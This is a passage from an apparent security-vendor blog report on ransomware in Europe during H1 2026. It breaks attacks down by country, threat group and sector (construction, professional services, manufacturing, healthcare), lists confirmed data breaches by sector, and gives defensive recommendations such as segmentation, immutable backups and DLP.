<p><!-- wp:list-item --></p>
<li><strong>Government &amp; LEA:</strong> 16 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why the UK Is Targeted</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>London's financial services ecosystem manages trillions in assets, making it extraordinarily valuable to data-exfiltrating threat actors. BFSI organizations hold customer financial data, internal financial records, and strategic information that commands premium prices on dark web marketplaces.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Additionally, regulatory requirements (FCA, PRA, etc.) create pressure for rapid ransom payment to avoid breach notification delays that could trigger regulatory sanctions.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Data Exfiltration Risk:</strong> The UK's status as a financial services hub makes it particularly vulnerable to data-centric attack strategies. Organizations should assume that successful breach attempts will include aggressive data exfiltration alongside encryption deployment.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Priority:</strong> UK BFSI organizations must implement robust data loss prevention (DLP), encryption for data in transit and at rest, and aggressive monitoring for unauthorized data access or exfiltration attempts.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>France:</strong> The Balanced Threat</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 119 ransomware attacks (13.7% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>France experiences balanced threat distribution across multiple sectors, reflecting both its manufacturing capacity and significant professional services sector.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Threat Actor Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Qilin:</strong> 28 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>The Gentlemen:</strong> 28 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>LockBit:</strong> 15 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Akira:</strong> 14 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Dragonforce:</strong> 8 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Sectoral Breakdown:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Professional Services:</strong> 26 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Manufacturing:</strong> 24 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Construction:</strong> 19 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Technology:</strong> 14 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Healthcare:</strong> 10 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why France Faces Distributed Threat</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>As Europe's second-largest economy, France is attractive to ransomware operators across multiple sectors. The nation's professional services sector (legal, accounting, consulting) is particularly valuable for data exfiltration, while manufacturing remains a consistent target.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Priority:</strong> French organizations should implement sector-specific defensive strategies: professional services firms should prioritize client data protection and DLP, while manufacturing organizations should focus on OT segmentation and operational resilience.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Italy:</strong> The Construction and Manufacturing Hub</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 115 ransomware attacks (13.3% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Italy faces concentrated targeting in construction and manufacturing sectors, with particular pressure on small-to-medium enterprises in industrial regions.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Threat Actor Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Qilin:</strong> 19 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>The Gentlemen:</strong> 18 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>LockBit:</strong> 12 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Akira:</strong> 16 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Dragonforce:</strong> 8 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Sectoral Breakdown:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Construction:</strong> 48 incidents (concentrated)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Manufacturing:</strong> 38 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 18 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Retail:</strong> 14 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why Italy Faces Sector-Specific Pressure</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Italy's construction industry is particularly vulnerable to ransom attacks due to tight project timelines and significant financial exposure. The nation's manufacturing sector, while sophisticated, sometimes operates with legacy infrastructure that creates exploitation opportunities.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Priority:</strong> Italian construction and manufacturing organizations should prioritize incident response readiness, backup infrastructure resilience, and supply-chain risk management.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Spain:</strong> The Emerging Risk</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 87 ransomware attacks (10.0% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Spain experiences lower absolute attack volume than Germany, UK, France, or Italy, but faces concentrated pressure in manufacturing and professional services sectors.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Threat Actor Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Qilin:</strong> 20 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>The Gentlemen:</strong> 18 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>LockBit:</strong> 8 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Akira:</strong> 12 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Dragonforce:</strong> 7 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Sectoral Breakdown:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Manufacturing:</strong> 28 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 19 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Construction:</strong> 16 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Technology:</strong> 10 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Regional Observation:</strong> Spain's lower attack volume may reflect either lower overall ransomware targeting or more effective defensive implementations. Spanish security teams should not interpret lower numbers as reduced threat but rather as a baseline for future comparison.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"lightbox":{"enabled":false},"id":123081,"width":"605px","height":"auto","aspectRatio":"1.7902683831551385","sizeSlug":"large","linkDestination":"custom"} --></p>
<figure class="wp-block-image size-large is-resized"><a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel=" noreferrer noopener"><img src="https://cyble.com/wp-content/uploads/2026/08/Global-Threat-Landscape-H1-2026_LI-Banner-1024x572.jpg" alt="" class="wp-image-123081"></a></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Where European Organizations Face Maximum Risk: </strong>A Sectoral Analysis</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Construction:</strong> The Ransomware Goldmine</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 107 documented incidents (58% of all sector targeting across regions – not just in Europe – analyzed)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Construction organizations face disproportionate ransomware targeting across the entire European region. This concentration reflects understood economic vulnerabilities that threat actors exploit with precision.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why Construction Is Targeted</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Time-Sensitive Financial Exposure:</strong> Construction projects operate under contractually-defined timelines. Each day of delay triggers cascading costs, financial penalties, and potential contract termination. Organizations facing potential loss of €50-100 million contracts will prioritize rapid recovery over law enforcement involvement.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Operational Technology Integration:</strong> Modern construction increasingly relies on Building Information Modeling (BIM), cloud-based project management, and real-time equipment tracking. This IT/OT convergence creates exploitation pathways unavailable in purely IT-based industries.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Complexity:</strong> Construction projects depend on dozens of subcontractors and suppliers. Compromising a single upstream supplier can provide lateral access into prime contractors.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Financial Pressure:</strong> Construction firms often operate with tight cash flow, making ransom negotiation essential to preserve solvency.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Accessibility:</strong> Many construction firms, particularly smaller regional players, operate with basic security infrastructure, creating easy exploitation opportunities.</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Construction Risk Mapping:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Germany (14 attacks):</strong> Heavy machinery and precision manufacturing integration</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Switzerland (10 attacks):</strong> Legacy infrastructure vulnerabilities</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Spain (13 attacks):</strong> Emerging targeting activity</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>France (10 attacks):</strong> Balanced threat across major metropolitan areas</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>UK (21 attacks):</strong> Infrastructure project concentration (rail, utilities, etc.)</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Recommendations for Construction:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Network Segmentation:</strong> Isolate operational technology (project equipment, heavy machinery) from corporate IT networks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Access Control:</strong> Implement strict authentication for remote project management tools (Autodesk Forge, Procore, etc.)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Immutable Backups:</strong> Maintain offline, immutable backups of critical BIM files and project documentation</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Incident Response Readiness:</strong> Develop construction-specific response playbooks addressing project continuity</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Due Diligence:</strong> Implement security requirements for subcontractors and equipment suppliers</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Professional Services:</strong> The Data Exfiltration Target</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 86 documented incidents</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Professional services firms (law, accounting, consulting) face sophisticated targeting driven by data exfiltration opportunities rather than operational disruption pressure.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why Professional Services Are Targeted</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Client Confidentiality Risk:</strong> Legal privilege and client confidentiality create existential regulatory and reputational exposure. Threat actors leverage this to demand premium ransoms.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Sensitive Data Concentration:</strong> Professional services firms accumulate client financial records, litigation strategies, tax information, and corporate secrets—all commanding premium dark web prices.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Regulatory Exposure:</strong> GDPR breach notification requirements create pressure for rapid response and ransom payment to avoid regulatory sanctions.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Position:</strong> Professional services firms advise major corporations; compromising advisors provides indirect access to clients.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Trust-Based Business Model:</strong> Client relationships depend on confidentiality. A single breach can destroy long-term client relationships and firm reputation.</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Professional Services Risk:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>France (16 attacks):</strong> Concentrated targeting of Paris-based firms</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Germany (16 attacks):</strong> Heavy focus on Frankfurt financial advisory firms</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>UK (17 attacks):</strong> London-based legal and accounting partnerships</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Italy (6 attacks):</strong> Milan and Rome-based advisory firms</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Spain (7 attacks):</strong> Barcelona and Madrid professional services sector</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Key Finding:</strong> Professional services firms experience disproportionate <strong>data breach incidents</strong> (exfiltration with confirmed leak activity) compared to other sectors. Of the 51 total data breach incidents across Europe and UK, professional services represents a concentrated target.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Recommendations:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Client Data Segregation:</strong> Isolate client data on separate network segments with distinct access controls</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Data Loss Prevention (DLP):</strong> Deploy DLP solutions with aggressive egress controls monitoring client data exfiltration</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Encryption Standards:</strong> Implement client-facing encryption for all sensitive communications</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Access Auditing:</strong> Maintain comprehensive logs of all access to sensitive client data</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Ransomware-Specific Insurance:</strong> Consider cyber insurance with specific ransomware coverage addressing confidentiality exposure</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Manufacturing:</strong> The Supply-Chain Critical Target</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 123 documented incidents</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>European manufacturing organizations face sophisticated, supply-chain-aware threat actors who understand production dependencies and downtime economics.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why Manufacturing Is Targeted</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Operational Technology Integration:</strong> Modern factories integrate IT and OT systems. Ransomware deployment can halt production lines, creating catastrophic financial exposure.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Criticality:</strong> Manufacturing downtime cascades through dependent enterprises. A single organization's compromise can impact dozens of downstream customers.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Export Dependency:</strong> European manufacturers serve global markets. Production delays translate directly into lost revenue and market share.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Legacy Infrastructure:</strong> Many manufacturing facilities operate aging, unpatched systems integrated with newer IT infrastructure, creating exploitation bridges.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Financial Pressure:</strong> Manufacturing organizations face razor-thin margins; production downtime can drive solvency crises.</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Geographic Manufacturing Risk Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Germany (27 attacks):</strong> Automotive, machinery, precision manufacturing</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Italy (21 attacks):</strong> Fashion, machinery, chemical manufacturing</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>France (15 attacks):</strong> Automotive, aerospace, industrial manufacturing</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Spain (10 attacks):</strong> Automotive, machinery, manufacturing</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>UK (14attacks):</strong> Aerospace, automotive, precision manufacturing</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Critical Vulnerability Pattern:</strong> Manufacturing organizations are disproportionately targeting known, exploitable vulnerabilities in critical infrastructure appliances (network appliances, security tools, identity systems). Rather than deploying zero-days, threat actors exploit patched vulnerabilities that organizations have not implemented.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Recommendations:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>OT/IT Segmentation:</strong> Implement airgapped network separation between operational technology and corporate IT</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Vulnerability Management Prioritization:</strong> Focus patching efforts on network appliances, security tools, and identity systems</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Industrial Control System (ICS) Monitoring:</strong> Deploy behavioral monitoring for unusual activity on manufacturing control systems</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Immutable Backup Strategy:</strong> Maintain completely offline backups of critical manufacturing configurations</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Security Program:</strong> Implement tier-1 and tier-2 supplier security assessments and vulnerability scanning</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Incident Response Scenario Planning:</strong> Develop detailed playbooks for production-line ransomware scenarios</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Healthcare:</strong> The Critical Infrastructure Threat</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 35 documented incidents</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Healthcare organizations face a unique threat dynamic where ransomware directly endangers patient safety, creating existential operational pressure distinct from financial threats.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why Healthcare Is Targeted</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Patient Safety Risk:</strong> Ransomware disables critical medical systems (diagnostic equipment, pharmaceutical dispensing, patient records). Unlike other industries, downtime directly threatens life.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Regulatory Pressure:</strong> GDPR, HIPAA-equivalent regulations, and national privacy laws create breach notification requirements that incentivize ransom payment.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Data Value:</strong> Patient medical records, pharmaceutical research data, and clinical trial information command premium dark web prices.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Continuous Operation Requirement:</strong> Unlike manufacturing or services, healthcare cannot delay critical procedures. The operational pressure to pay ransoms is existential.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>System Complexity:</strong> Healthcare IT environments integrate numerous legacy systems (PACS, EHR, medical devices) with varying security architectures.</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Healthcare Risk Distribution:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Germany (14 attacks):</strong> Concentrated in Berlin, Munich, and Frankfurt urban medical centers</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Austria (2 attacks):</strong> private healthcare sector</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>France (5 attacks):</strong> Concentrated in Paris and Lyon region hospitals</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Switzerland (3 attacks):</strong> medical centers</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Spain (3 attacks):</strong> Barcelona and Madrid hospital networks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Critical Finding:</strong> Healthcare organizations experience disproportionately high data breach incident rates, suggesting organized threat actors specifically target health information exfiltration.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Recommendations:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Clinical System Isolation:</strong> Implement complete network separation between clinical systems and corporate IT</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Redundant Critical Systems:</strong> Deploy redundant diagnostic and pharmaceutical systems capable of manual operation</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Patient Data Encryption:</strong> Implement end-to-end encryption for all patient medical records</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Breach Response Planning:</strong> Develop healthcare-specific incident response plans addressing patient notification and continuity of care</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Medical Device Security:</strong> Implement inventory and monitoring for all connected medical devices</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Assessment:</strong> Assess security of medical device manufacturers and pharmaceutical distributors</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>The Data Exfiltration Reality: </strong>Beyond Encryption</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Confirmed Data Breaches: 51 Incidents Across Europe and UK</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>While ransomware attacks total 866, only 51 incidents resulted in confirmed data breaches and leaks (5.9% confirmation rate). This apparent low percentage masks a critical operational truth: <strong>organizations cannot distinguish between encryption-only attacks and data exfiltration scenarios until exfiltration attempts or threats emerge</strong>.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Data Breach Distribution by Sector:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table {"className":"is-style-stripes"} --></p>
<figure class="wp-block-table is-style-stripes">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Sector</strong></td>
<td class="has-text-align-center" data-align="center"><strong>Confirmed Breaches</strong></td>
<td class="has-text-align-center" data-align="center"><strong>Percentage</strong></td>
</tr>
<tr>
<td><strong>BFSI</strong></td>
<td class="has-text-align-center" data-align="center">9</td>
<td class="has-text-align-center" data-align="center">17.6%</td>
</tr>
<tr>
<td><strong>Telecom</strong></td>
<td class="has-text-align-center" data-align="center">9</td>
<td class="has-text-align-center" data-align="center">17.6%</td>
</tr>
<tr>
<td><strong>Retail</strong></td>
<td class="has-text-align-center" data-align="center">8</td>
<td class="has-text-align-center" data-align="center">15.7%</td>
</tr>
<tr>
<td><strong>Government &amp; LEA</strong></td>
<td class="has-text-align-center" data-align="center">6</td>
<td class="has-text-align-center" data-align="center">11.8%</td>
</tr>
<tr>
<td><strong>Media &amp; Entertainment</strong></td>
<td class="has-text-align-center" data-align="center">5</td>
<td class="has-text-align-center" data-align="center">9.8%</td>
</tr>
<tr>
<td><strong>Technology</strong></td>
<td class="has-text-align-center" data-align="center">4</td>
<td class="has-text-align-center" data-align="center">7.8%</td>
</tr>
<tr>
<td><strong>Healthcare</strong></td>
<td class="has-text-align-center" data-align="center">4</td>
<td class="has-text-align-center" data-align="center">7.8%</td>
</tr>
<tr>
<td><strong>Automotive</strong></td>
<td class="has-text-align-center" data-align="center">3</td>
<td class="has-text-align-center" data-align="center">5.9%</td>
</tr>
<tr>
<td><strong>Construction</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td class="has-text-align-center" data-align="center">3.9%</td>
</tr>
<tr>
<td><strong>Education</strong></td>
<td class="has-text-align-center" data-align="center">1</td>
<td class="has-text-align-center" data-align="center">2.0%</td>
</tr>
<tr>
<td><strong>Others</strong></td>
<td class="has-text-align-center" data-align="center">6</td>
<td class="has-text-align-center" data-align="center">11.8%</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Critical Observation:</strong> BFSI and Telecom sectors experience disproportionate data breach incidents, suggesting these industries are specifically targeted for data exfiltration rather than operational disruption. The strategic implication is clear: threat actors targeting financial and telecommunications organizations prioritize <strong>data monetization</strong> over ransom payment.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Most Active Threat Actors in Data Exfiltration: The Leak Economy</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Primary Exfiltration Actors:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table {"className":"is-style-stripes"} --></p>
<figure class="wp-block-table is-style-stripes">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Actor</strong></td>
<td class="has-text-align-center" data-align="center"><strong>Confirmed Leak Posts</strong></td>
<td><strong>Targeting Pattern</strong></td>
</tr>
<tr>
<td><strong>tanaka</strong></td>
<td class="has-text-align-center" data-align="center">6</td>
<td>Industry-agnostic, global operations</td>
